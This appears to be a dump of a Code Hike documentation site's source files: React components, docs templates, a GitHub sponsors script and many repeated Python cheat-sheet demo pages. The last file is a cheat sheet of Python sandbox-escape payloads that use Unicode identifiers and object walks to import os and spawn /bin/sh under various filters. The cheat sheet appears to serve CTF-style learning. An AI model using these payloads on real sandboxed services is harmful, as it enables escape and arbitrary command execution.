| }) 53 | }) 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /app/test/client.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { 4 | AnnotationHandler, 5 | CustomPreProps, 6 | InnerPre, 7 | getPreRef, 8 | } from "codehike/code" 9 | import { forwardRef } from "react" 10 | import React from "react" 11 | import { 12 | TokenTransitionsSnapshot, 13 | calculateTransitions, 14 | getStartingSnapshot, 15 | } from "codehike/utils/token-transitions" 16 | 17 | const MAX_TRANSITION_DURATION = 900 // milliseconds 18 | export class SmoothPre extends React.Component { 19 | ref: React.RefObject 20 | constructor(props: CustomPreProps) { 21 | super(props) 22 | this.ref = getPreRef(this.props) 23 | } 24 | 25 | render() { 26 | return 27 | } 28 | 29 | getSnapshotBeforeUpdate() { 30 | return getStartingSnapshot(this.ref.current!) 31 | } 32 | 33 | componentDidUpdate( 34 | prevProps: never, 35 | prevState: never, 36 | snapshot: TokenTransitionsSnapshot, 37 | ) { 38 | const transitions = calculateTransitions(this.ref.current!, snapshot) 39 | transitions.forEach(({ element, keyframes, options }) => { 40 | const { translateX, translateY, ...kf } = keyframes as any 41 | if (translateX && translateY) { 42 | kf.translate = [ 43 | `${translateX[0]}px ${translateY[0]}px`, 44 | `${translateX[1]}px ${translateY[1]}px`, 45 | ] 46 | } 47 | element.animate(kf, { 48 | duration: options.duration * MAX_TRANSITION_DURATION, 49 | delay: options.delay * MAX_TRANSITION_DURATION, 50 | easing: options.easing, 51 | fill: "both", 52 | }) 53 | }) 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /components/demo.tsx: -------------------------------------------------------------------------------- 1 | import fs from "fs" 2 | import path from "path" 3 | import { Code } from "./code" 4 | import { cn } from "../lib/utils" 5 | 6 | export async function Demo({ 7 | name, 8 | children, 9 | className, 10 | content = "content.md", 11 | displayUsage = true, 12 | folder, 13 | }: { 14 | name: string 15 | content?: string 16 | children: React.ReactNode 17 | className?: string 18 | displayUsage?: boolean, 19 | folder?: string, 20 | }) { 21 | const value = await fs.promises.readFile( 22 | path.join(process.cwd(), "demos", folder ?? '', name, content), 23 | "utf-8", 24 | ) 25 | const folderValue = folder ? folder + '/' : ''; 26 | 27 | const usage = ( 28 | 36 | ) 37 | 38 | const { default: Page } = await import(`@/demos/${folderValue}${name}/page`) 39 | 40 | const preview = ( 41 |
42 | 43 | {children && ( 44 |
45 | {children} 46 |
47 | )} 48 |
49 | ) 50 | 51 | return ( 52 |
*]:flex-1 [&>*]:min-w-72", 55 | className, 56 | )} 57 | > 58 | {displayUsage && ( 59 |
{usage}
60 | )} 61 | {preview} 62 |
63 | ) 64 | } 65 | -------------------------------------------------------------------------------- /demos/focus/code.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { HighlightedCode, Pre } from "codehike/code" 4 | import React, { useState } from "react" 5 | import { focus } from "./focus" 6 | 7 | const ranges = { 8 | lorem: { fromLineNumber: 1, toLineNumber: 5 }, 9 | ipsum: { fromLineNumber: 7, toLineNumber: 11 }, 10 | dolor: { fromLineNumber: 11, toLineNumber: 15 }, 11 | } 12 | 13 | export function CodeContainer({ code }: { code: HighlightedCode }) { 14 | const [focused, setFocused] = useState<"lorem" | "ipsum" | "dolor">("dolor") 15 | 16 | return ( 17 | <> 18 |
32 |       
33 | You can also change the focus annotations on a rendered codeblock: 34 |
35 |
36 | {" "} 43 | 50 |
51 | 52 | ) 53 | } 54 | -------------------------------------------------------------------------------- /app/blog/og/page.tsx: -------------------------------------------------------------------------------- 1 | import Image from "next/image" 2 | import { CodeHikeLogo } from "../../../ui/nav" 3 | 4 | const title = "The Curse of Markdown" 5 | const description = "And the content website wasteland" 6 | const date = "November 21, 2024" 7 | 8 | import pomber from "../[slug]/pomber.jpg" 9 | 10 | export default function Page() { 11 | return ( 12 |
13 |
17 |
18 | 19 | Code Hike's blog 20 | 21 | 22 | {date} 23 | 24 |
25 |

{title}

26 |

27 |
{description}
28 |

29 |
30 | pomber 38 |
39 |
Rodrigo Pombo
40 |
@pomber
41 |
42 |
43 |
44 |
45 | ) 46 | } 47 | -------------------------------------------------------------------------------- /content/docs/TEMPLATES/transpile.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Transpile 3 | description: Show code together with its transpiled version 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | ## !demo 8 | 9 | Sometimes you have a code block that you want to show together with its versions in different languages. It may be typescript and javascript, or sass and css, or maybe you want to transform a cURL command into calls to SDKs in different languages. 10 | 11 | If you are using React Server Components and you have a function to transpile the code, you can call that function inside the component. 12 | 13 | Here's an example showing how to transpile a typescript code block to javascript, and then showing both versions in tabs: 14 | 15 | 16 | 17 | ## !implementation 18 | 19 | ```tsx code.tsx -c 20 | import { RawCode } from "codehike/code" 21 | // !link[/tabs example/] tabs 22 | // CodeTabs is the component from the tabs example 23 | // !link[/CodeTabs/] tabs 24 | import { CodeTabs } from "@/components/tabs" 25 | import ts from "typescript" 26 | 27 | async function Code({ codeblock }: { codeblock: RawCode }) { 28 | // Since this is a RSC we can transpile stuff here 29 | // (there are probably more efficient ways to do this) 30 | const result = ts.transpileModule(codeblock.value, { 31 | compilerOptions: { 32 | module: ts.ModuleKind.CommonJS, 33 | target: ts.ScriptTarget.ESNext, 34 | }, 35 | }) 36 | 37 | const tsCode = { 38 | ...codeblock, 39 | meta: "typescript", 40 | } 41 | const jsCode = { 42 | ...codeblock, 43 | value: result.outputText, 44 | lang: "js", 45 | meta: "javascript", 46 | } 47 | 48 | return 49 | } 50 | ``` 51 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/decorators/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /app/landing/sponsors/gh-sponsors.js: -------------------------------------------------------------------------------- 1 | require("dotenv").config({ path: ".env.local" }) 2 | 3 | const GITHUB_TOKEN = process.env.GITHUB_TOKEN 4 | if (!GITHUB_TOKEN) { 5 | console.log("Missing process.env.GITHUB_TOKEN") 6 | process.exit(1) 7 | } 8 | 9 | async function fetchSponsors() { 10 | let pageInfo = { hasNextPage: true, endCursor: null } 11 | let sponsors = [] 12 | 13 | while (pageInfo.hasNextPage) { 14 | const page = await fetchPage(pageInfo.endCursor) 15 | sponsors = sponsors.concat(page.nodes) 16 | pageInfo = page.pageInfo 17 | } 18 | 19 | return sponsors.map(({ sponsor, amountInCents }) => ({ 20 | name: sponsor.login, 21 | amount: Math.round(amountInCents / 100), 22 | })) 23 | } 24 | 25 | async function fetchPage(cursor) { 26 | const query = `{ 27 | organization(login: "code-hike") { 28 | lifetimeReceivedSponsorshipValues(first: 100, after: "${cursor}") { 29 | nodes { 30 | amountInCents 31 | sponsor { 32 | ... on User { login } 33 | ... on Organization { login } 34 | } 35 | } 36 | pageInfo { 37 | endCursor 38 | hasNextPage 39 | } 40 | } 41 | } 42 | }` 43 | const r = await fetch("https://api.github.com/graphql", { 44 | method: "POST", 45 | body: JSON.stringify({ query }), 46 | headers: { Authorization: "bearer " + GITHUB_TOKEN }, 47 | }) 48 | if (!r.ok) { 49 | console.error(r) 50 | return 51 | } 52 | const { data, errors } = await r.json() 53 | if (errors) { 54 | console.error(JSON.stringify(errors)) 55 | return 56 | } 57 | return data.organization.lifetimeReceivedSponsorshipValues 58 | } 59 | 60 | module.exports = fetchSponsors 61 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/base-execption/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/create-digits/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/format-string/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/unicode-bypass/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/environment-variables/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/pickle-cheat-sheet/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/without-parenthesis/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/bypass-commentary-ding/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/create-char-and-string/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/finding-sinks-from-modules/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/bypass-commentary-zip-confusion/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/pickle-with-only-one-global/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/finding-sinks-from-modules-object-walker/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /ui/toggle.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import * as React from "react" 4 | import * as TogglePrimitive from "@radix-ui/react-toggle" 5 | import { cva, type VariantProps } from "class-variance-authority" 6 | 7 | import { cn } from "@/lib/utils" 8 | 9 | const toggleVariants = cva( 10 | "inline-flex items-center justify-center rounded-md text-sm font-medium ring-offset-white transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-zinc-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 dark:ring-offset-zinc-950 dark:focus-visible:ring-zinc-300", 11 | { 12 | variants: { 13 | variant: { 14 | default: "bg-transparent", 15 | tabs: "hover:bg-zinc-700 hover:text-zinc-200 text-zinc-400 data-[state=on]:text-zinc-100", 16 | outline: 17 | "border border-zinc-200 bg-transparent hover:bg-zinc-100 hover:text-zinc-900 dark:border-zinc-800 dark:hover:bg-zinc-800 dark:hover:text-zinc-50", 18 | }, 19 | size: { 20 | default: "h-10 px-3", 21 | sm: "h-6 px-2 -m-1 text-xs", 22 | lg: "h-11 px-5", 23 | }, 24 | }, 25 | defaultVariants: { 26 | variant: "default", 27 | size: "default", 28 | }, 29 | }, 30 | ) 31 | 32 | const Toggle = React.forwardRef< 33 | React.ElementRef, 34 | React.ComponentPropsWithoutRef & 35 | VariantProps 36 | >(({ className, variant, size, ...props }, ref) => ( 37 | 42 | )) 43 | 44 | Toggle.displayName = TogglePrimitive.Root.displayName 45 | 46 | export { Toggle, toggleVariants } 47 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/unicode-bypass/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | # https://lingojam.com/ItalicTextGenerator 3 | 4 | # no ASCII 5 | 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() # import os;os.system("/bin/sh") 6 | 7 | # no ASCII letters, no double underscores, inside eval 8 | __𝘪𝘮𝘱𝘰𝘳𝘵__(𝘪𝘯𝘱𝘶𝘵()).system(𝘪𝘯𝘱𝘶𝘵()) # double underscore bypass by having underscore + unicode underscore (https://www.compart.com/en/unicode/U+005F) -> U+FE33, U+FE34, U+FE4D, U+FE4E, U+FE4F, U+FF3F 9 | 10 | # no ASCII letters, no double underscores, no builtins, inside eval 11 | ().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦("\\157\\163").𝘴𝘺𝘴𝘵𝘦𝘮("\\57\\142\\151\\156\\57\\163\\150") 12 | 13 | # no ASCII letters, no double underscores, no builtins, no quotes/double quotes inside eval (>= python3.8) 14 | [𝘺:=().__𝘥𝘰𝘤__,𝘢:=y[19],().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(𝘺[34]+𝘢).𝘴𝘺𝘴𝘵𝘦𝘮(𝘢+𝘺[56])] 15 | 16 | # no ASCII letters, no double underscores, no builtins, no quotes/double quotes, no square brackets inside eval (>= python3.8) 17 | (𝘥:=().__𝘥𝘰𝘤__,d:=().__dir__().__class__(d),𝘴:=𝘥.𝘱𝘰𝘱(19),𝘥.__𝘤𝘭𝘢𝘴𝘴__(().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__).𝘱𝘰𝘱(1).__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__().𝘱𝘰𝘱(104).𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(𝘥.𝘱𝘰𝘱(33)+𝘴).𝘴𝘺𝘴𝘵𝘦𝘮(𝘴+𝘥.𝘱𝘰𝘱(54))) 18 | 19 | # no double underscores, no builtins, no quotes/double quotes, no parenthesis inside eval, has existing object (>= python3.8) 20 | class cobj:... 21 | obj = cobj() 22 | 23 | [d:=[].__doc__,o:=d[32],s:=d[17],h:=d[54],[obj[s+h] for obj.__class__.__getitem__ in [[obj[o+s] for obj.__class__.__getitem__ in [[+obj for obj.__class__.__pos__ in [[].__class__.__mro__[1].__subclasses__]][0][104].load_module]][0].system]]] 24 | ``` --------------------------------------------------------------------------------